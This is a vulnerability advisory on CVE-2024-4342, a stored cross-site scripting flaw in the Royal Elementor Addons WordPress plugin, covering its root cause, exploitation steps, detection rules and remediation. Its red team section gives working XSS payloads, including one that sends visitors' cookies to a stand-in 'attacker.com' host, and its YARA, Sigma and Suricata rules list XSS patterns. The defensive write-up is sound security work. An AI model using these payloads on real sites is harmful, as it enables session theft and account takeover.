CVE-2024-4342

Executive Summary

CVE-2024-4342 is a Stored Cross-Site Scripting (XSS) vulnerability in the Royal Elementor Addons and Templates plugin for WordPress, affecting all versions up to and including 1.3.975. The flaw resides in multiple widgets—image hotspot, image accordion, off canvas, woogrid, and product mini cart—due to insufficient input sanitization and output escaping. Authenticated attackers with contributor-level access or higher can inject arbitrary web scripts that execute when any user visits the compromised page. With a CVSS score of 6.4 (Medium), this vulnerability poses a significant risk to WordPress sites using the plugin, potentially leading to session hijacking, defacement, or data theft. No public exploit code or patch is currently available, but the EPSS score of 0.0% suggests low active exploitation in the wild.

Supply Chain & Package Security

This vulnerability is part of the WordPress plugin ecosystem, specifically the Royal Elementor Addons plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and monitor for updates from the vendor. No third-party package manager (NPM, PyPI, Go, Ruby) is involved.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (contributor-level)
• User Interaction: Required (victim must visit the page)
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. The vulnerability requires authentication but allows persistent script injection, making it a credible threat for multi-user WordPress sites.

Deep Dive & Mechanics

The vulnerability stems from improper handling of user-supplied input in the plugin's widget rendering functions. Specifically, the image_hotspot, image_accordion, off_canvas, woogrid, and product_mini_cart widgets fail to sanitize HTML attributes or escape output before rendering. An attacker with contributor access can craft a post or page containing a malicious payload in widget parameters (e.g., title, description, or custom attributes). When the page is rendered, the payload executes in the context of the victim's browser.

Root Cause: The plugin uses echo or print functions without applying WordPress's built-in escaping functions like esc_html(), esc_attr(), or wp_kses_post(). This allows injection of arbitrary JavaScript via attributes like onmouseover or src.

Attack Flow:

1. Attacker logs in with contributor-level credentials.
2. Creates a new post/page and inserts a vulnerable widget (e.g., image hotspot).
3. Injects a payload such as <img src=x onerror=alert('XSS')> into a widget field.
4. Publishes or saves the post as draft.
5. Victim (admin or visitor) accesses the page, triggering the script.

Vulnerable vs. Patched Code

Vulnerable Code (example from image-hotspot.php):

echo '<div class="wpr-hotspot-content" data-title="' . $settings['hotspot_title'] . '">';

Here, $settings['hotspot_title'] is not sanitized or escaped, allowing injection.

Patched Code (hypothetical fix):

echo '<div class="wpr-hotspot-content" data-title="' . esc_attr($settings['hotspot_title']) . '">';

Using esc_attr() ensures the output is safe for HTML attributes.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with Royal Elementor Addons <= 1.3.975.
• Contributor-level account or higher.

Steps:

1. Log in to WordPress admin.
2. Navigate to Posts > Add New.
3. Add a new Elementor section and insert the "Image Hotspot" widget.
4. In the hotspot title field, enter:

   " onmouseover="alert(document.cookie)
   

5. Publish the post.
6. When any user hovers over the hotspot, the JavaScript executes.

Alternative Payload (for image accordion):

<img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>

Blue Team (Detection & Hardening)

Detection:

• Monitor for posts/pages containing suspicious HTML attributes (e.g., onmouseover, onerror, onload).
• Use Web Application Firewall (WAF) rules to block common XSS patterns in POST requests.
• Review user activity logs for unusual widget modifications by low-privilege users.

Hardening:

• Disable the plugin until a patch is available.
• Restrict contributor-level users from using Elementor (use role management plugins).
• Implement Content Security Policy (CSP) headers to block inline scripts.

Indicators of Compromise (IOCs)

• File Hashes (plugin files):
  • royal-elementor-addons/ directory with version 1.3.975 or earlier.
• Network Indicators:
  • Outbound requests to attacker-controlled domains from WordPress admin.
  • Suspicious POST requests to /wp-admin/admin-ajax.php with widget data.
• Log Entries:
  • WordPress debug log entries containing unescaped HTML.
  • Web server logs showing onerror, onmouseover, or javascript: in request bodies.

Detection Engineering

YARA Rule

rule CVE_2024_4342_Stored_XSS {
    meta:
        description = "Detects malicious payloads targeting Royal Elementor Addons Stored XSS"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-4342"
    strings:
        $payload1 = /on\w+\s*=\s*['\"].*?script.*?['\"]/ nocase
        $payload2 = /<img[^>]+onerror\s*=/ nocase
        $payload3 = /<svg[^>]+onload\s*=/ nocase
        $widget_ref = /wpr-hotspot-content|wpr-image-accordion|wpr-off-canvas|wpr-woogrid|wpr-mini-cart/ nocase
    condition:
        any of ($payload*) and $widget_ref
}

Sigma Rule

title: CVE-2024-4342 Stored XSS in Royal Elementor Addons
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via vulnerable widgets in Royal Elementor Addons
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=elementor_ajax'
        sc-status: 200
    keywords:
        - 'onmouseover'
        - 'onerror'
        - 'onload'
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in widget fields (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-4342 Stored XSS Attempt - Royal Elementor Addons"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=elementor_ajax"; http_client_body; pcre:"/(on\w+\s*=\s*['\"].*?script|onerror|onmouseover)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patched version is released.
2. Remove or review any posts/pages created by low-privilege users that use the vulnerable widgets.
3. Implement a Web Application Firewall (WAF) with rules to block XSS payloads in POST data.

Long-term Fix:

• Monitor the plugin's official page for updates. When a patched version (e.g., 1.3.976 or higher) is released, update immediately.
• Apply WordPress hardening measures: restrict Elementor usage to administrators only, use role-based access controls.

Workaround:

• If the plugin cannot be disabled, manually patch the vulnerable widget files by adding esc_attr() or esc_html() to all output functions. Example fix for image-hotspot.php:

  echo '<div class="wpr-hotspot-content" data-title="' . esc_attr($settings['hotspot_title']) . '">';
  

Valters IT